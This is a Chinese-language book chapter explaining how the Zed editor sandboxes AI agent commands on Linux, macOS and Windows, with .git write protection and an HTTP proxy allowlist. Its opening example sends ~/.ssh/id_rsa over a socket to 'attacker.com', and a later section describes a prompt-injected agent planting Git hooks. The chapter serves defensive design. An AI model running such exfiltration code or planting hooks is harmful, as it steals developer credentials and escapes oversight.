第10章:三层沙箱防线 —— 跨平台 OS 级隔离工程
在应用层做正则检查和权限拦截,仅仅是“防君子不防小人”。一旦大模型生成的命令调用了解释器(如 python、node)或者编译执行了 C/Rust 二进制程序,应用层就再也无法监视进程内部的真实系统调用(System Calls)。恶意代码可以在进程内直接建立底层 Socket 连接外泄私钥,或者在后台驻留进程。为了应对不可信代码的执行,Zed 在 crates/sandbox(9,400 行)与 crates/agent/src/sandboxing.rs 中,构建了针对 Linux、macOS 与 Windows 的三套操作系统级原生隔离防线。
一、开场:为什么应用层拦截还远远不够?
让我们设想一个典型的应用层拦截被击穿的场景:
- 权限引擎对用户显示:“该命令仅执行 python test.py”;
- 用户看着无害的命令,点击了“允许”;
- 然而 test.py 内部包含了:
python
import socket, os
s = socket.socket()
s.connect(("attacker.com", 4444)) # 直接建立原始 TCP 反弹 Shell
s.send(open(os.path.expanduser("~/.ssh/id_rsa")).read().encode())
此时,应用层的正则过滤器根本看不到脚本内部的代码,进程直接在宿主机裸奔,系统沦陷。
要彻底解决这一问题,必须借助操作系统内核级的进程隔离机制:
- 文件系统隔离:除了当前工作区和专用的临时目录外,整台机器的文件系统对进程而言全部变成只读,甚至完全不可见;
- 网络隔离:切断直接的公网访问能力,所有网络流量强制打通到进程内受控的 HTTP 代理;
- 元数据特殊保护:即便在允许写入的工作区内,代码版本控制的核心 —— .git 目录,必须被操作系统内核标记为绝对只读,杜绝恶意脚本篡改 Git Hooks 植入后门。
Zed 的架构团队在 crates/sandbox/src/sandbox.rs 的模块文档中,明确写下了这一宏大的跨平台愿景:
rust
// crates/sandbox/src/sandbox.rs:1-12
//! Cross-platform sandboxing for commands run on behalf of the agent.
//!
//! The public API is intentionally platform-neutral. Internally, macOS uses
//! Seatbelt (`sandbox-exec`), Linux uses Bubblewrap (`bwrap`), and Windows uses
//! Bubblewrap inside WSL. Restricted-network policies are enforced by an
//! in-process HTTP/HTTPS proxy (the `http_proxy` crate) that this crate
//! constructs and owns; callers only describe intent via [`SandboxPolicy`].
【来源:crates/sandbox/src/sandbox.rs:1-12】
二、三大操作系统的沙箱实现全景
不同主流操作系统的内核架构截然不同。Zed 针对三大平台分别提供了针对性的原生沙箱驱动:

三套 OS 级原生隔离:Linux 用 Bubblewrap 的无特权用户命名空间 + 根目录只读挂载 + 独立 tmpfs;macOS 动态编译 Seatbelt 策略文件、以 (deny default) 开局;Windows 经 WSL 边界桥接再落到 bwrap。三条路径最后汇到同一条网络防线——进程内 HTTP 代理。
2.1 Linux 平台:无特权 Bubblewrap(bwrap)
在 crates/sandbox/src/linux_bubblewrap.rs(1,978 行)中,Zed 选择了目前 Linux 容器领域最成熟的无特权沙箱工具 Bubblewrap(Flatpak 的底层核心):
- 无需 root 特权:利用 Linux 内核的非特权用户命名空间(Unprivileged User Namespaces);
- 只读挂载主机根:通过 --ro-bind / /,将整个 Linux 文件系统以只读视图暴露给进程,杜绝任何对系统文件和动态库的篡改;
- 只读保护 .git 目录:即便某个工程路径被指定为 --bind 可写,系统也会专门为其子目录 .git 补上一条 --ro-bind <path>/.git <path>/.git,利用更长路径的挂载覆盖特性,将 Git 仓库底层锁死为只读;
- 即用即毁的 /tmp:通过 --tmpfs /tmp 挂载一个完全驻留在内存中的独立虚拟临时文件系统,命令执行结束即刻释放,不会在磁盘留下任何痕迹。
2.2 macOS 平台:内核级 Seatbelt(sandbox-exec)
在 macOS 上,Zed 没有引入繁重的虚拟机,而是直接对接 Apple 专有的系统内核安全子系统 Seatbelt(crates/sandbox/src/macos_seatbelt.rs,1,145 行)。
Zed 在内存中动态生成 Scheme 语法的规则配置文件(.sb),并调用 sandbox-exec:
scheme
;; 动态编译的 macOS 沙箱策略逻辑示例
(version 1)
(deny default)
;; 允许读取任意文件,以便编译器解析依赖
(allow file-read*)
;; 仅允许在当前工作区物理路径下写入
(allow file-write* (subpath "/Users/developer/project"))
;; 【绝对铁律】严禁写入 .git 目录!
(deny file-write* (subpath "/Users/developer/project/.git"))
;; 允许写入线程私有的临时目录
(allow file-write* (subpath "/var/folders/.../zed-thread-tmp"))
这种内核级的隔离具有极高的执行效率,几乎带来零启动延迟。
2.3 Windows 平台:WSL 边界桥接工程
Windows 平台是跨平台开发者的“噩梦”:它既没有 Linux 的 Namespace,也没有 Apple 的 Seatbelt。如果使用 Windows 原生的 AppContainer 或 Job Objects,其沙箱行为与 POSIX 环境相差甚远。
Zed 在 crates/sandbox/src/windows_wsl.rs(2,279 行)中提出了一套绝顶精妙的构想:利用 WSL(Windows Subsystem for Linux)作为隔离跳板,在 WSL 内部运行 Bubblewrap!
这一构想带来了极为复杂的跨边界路径双向翻译工程:
rust
// crates/sandbox/src/windows_wsl.rs:25-45
/// 将 Windows 本地盘符路径解析为 WSL 内部的安全挂载映射
pub fn resolve_canonical_for_grant(
path: &Path,
wsl_root: &Path,
) -> Result<ResolvedGrant> {
// 自动将 C:\Users\me\project 转换为 /mnt/c/Users/me/project
// 并在 WSL 内部调用 bwrap 挂载对应的 Linux 目录映射!
}
注意 Windows 平台的特殊网络约束:
由于 WSL 与 Windows 主机之间的虚拟网络桥接特性,Windows 上的沙箱无法像 Linux/macOS 那样通过本地代理精确放行单个 Host(例如只允许访问 github.com)。
因此在系统提示词中,Zed 针对 Windows 平台发出了明确警示:
"The sandbox can only allow or block outbound network access as a whole — it cannot restrict access to specific hosts. allow_hosts do not use this on Windows. Such requests are rejected; use allow_all_hosts: true when the command genuinely needs network access."
—— crates/agent/src/templates/system_prompt.hbs
三、.git 元数据目录的绝对禁写防线
为什么在所有三个平台的沙箱实现中,都对 .git 目录做出了最严苛的隔离防范?
这是一个致命的安全攻击向量:Git Hooks 植入攻击。
如果在沙箱内允许写入 .git:
- 恶意智能体(或被 Prompt Injection 劫持的命令)可以悄悄在 .git/hooks/pre-commit 中写入恶意脚本;
- 当开发者随后在真实的宿主机终端中执行一次合法的 git commit 时;
- 这个恶意 Hook 会在脱离沙箱的宿主高特权环境中悄无声息地引爆!
Zed 确立了一条底线:在沙箱内部,Git 元数据写权限是物理不可授权的(Never grantable inside sandbox)。
如果大模型确实需要执行提交或分支切换,它必须在 terminal 工具中显式传递参数:
json
{
"command": "git commit -m 'feat: update'",
"unsandboxed": true,
"reason": "Need to write git commit metadata which is protected by sandbox"
}
此时系统会强制跳过沙箱,并向人类用户弹出一个最高级别的“脱沙箱操作审批”窗口。
四、进程内 HTTP 代理与网络白名单(http_proxy)
仅仅隔离文件系统是不够的。如果一个进程依然能够自由连网,它就能通过 DNS 隧道或 HTTP 连接把敏感数据窃取出去。
Zed 的网络拦截架构由专门的 http_proxy 模块提供支持:

沙箱内进程的出网必须过进程内代理(靠启动时注入的 HTTP_PROXY / HTTPS_PROXY 环境变量)。命中白名单才建立公网连接并双向管道中继;未命中直接回 403 并记一条安全审计告警。
网络代理的关键设计:
- 进程内轻量监听:代理不是外部重量级的 Squid 或 Nginx,而是直接由 Zed 编辑器进程内的一个轻量异步 Task 驱动;
- 模式匹配与通配符:支持精确域名(github.com)与前缀子域名通配符(*.npmjs.org);
- 协议约束明示:因为网络限制是通过标准代理环境变量实施的,那些不尊重代理变量的底层网络工具(如裸 SSH、原始 Socket)在开启域名白名单时会被物理切断。提示词系统因此聪明地告诫模型:在克隆仓库时,优先使用 https:// 而非 git@ssh 协议!
五、动态状态机集成:crates/agent/src/sandboxing.rs
在 crates/agent/src/sandboxing.rs(1,224 行)中,沙箱被深度编织进了 Thread 的生命周期:
rust
// crates/agent/src/sandboxing.rs:18-35
pub enum ThreadSandbox {
Available(SandboxPolicy),
Disabled,
Unavailable { reason: String },
}
pub struct VerifiedSandboxStatus {
pub is_operational: bool,
pub writable_paths: Vec<PathBuf>,
pub allows_network: bool,
}
在启动会话时,系统会自动探测当前宿主环境的沙箱能力:
- 检查 Linux 是否存在 bwrap 可执行文件;
- 检查 Windows 是否安装且正确启动了 WSL 实例;
- 如果沙箱不可用,系统会将状态置为 Unavailable,并在系统提示词的渲染阶段动态抹去沙箱安全背书,向模型展示真实的降级运行环境。
六、动手复核
你可以在本地源码检出中执行以下命令,验证本章涉及的技术细节与沙箱实现:
bash
# 1. 统计 sandbox 模块各平台的实现规模
wc -l crates/sandbox/src/*.rs
# 2. 查看 sandbox.rs 的核心模块设计文档
head -n 20 crates/sandbox/src/sandbox.rs
# 3. 检查 Linux Bubblewrap 对 .git 目录的只读绑定逻辑
grep -n -C 5 "\.git" crates/sandbox/src/linux_bubblewrap.rs
# 4. 查看 Windows WSL 路径映射解析函数
grep -n -C 5 "resolve_canonical_for_grant" crates/sandbox/src/windows_wsl.rs
# 5. 检查系统提示词中对 Windows WSL 沙箱特性的专门描述
grep -n -C 10 "commands run inside WSL under Bubblewrap" crates/agent/src/templates/system_prompt.hbs
七、总结
三层跨平台沙箱,将 Zed Agent 与绝大部分“在宿主裸跑 Shell”的业余智能体彻底拉开了代差:
- 从应用层防御跨越到内核级防线:用 Linux Bubblewrap、macOS Seatbelt、Windows WSL 构筑物理屏障;
- 锁死攻击向量:誓死捍卫 .git 元数据,杜绝 Git Hook 持久化木马;
- 进程内出站网络审计:以轻量 HTTP 代理筑牢数据外泄防火墙;
- 端侧真实的鲁棒性:面对 Windows 等复杂生态不妥协,用精密的路径映射解决工程死穴。
在下一章中,我们将步入上下文构建的上层空间 —— 从 Handlebars 模板到多层 AGENTS.md 规则覆盖。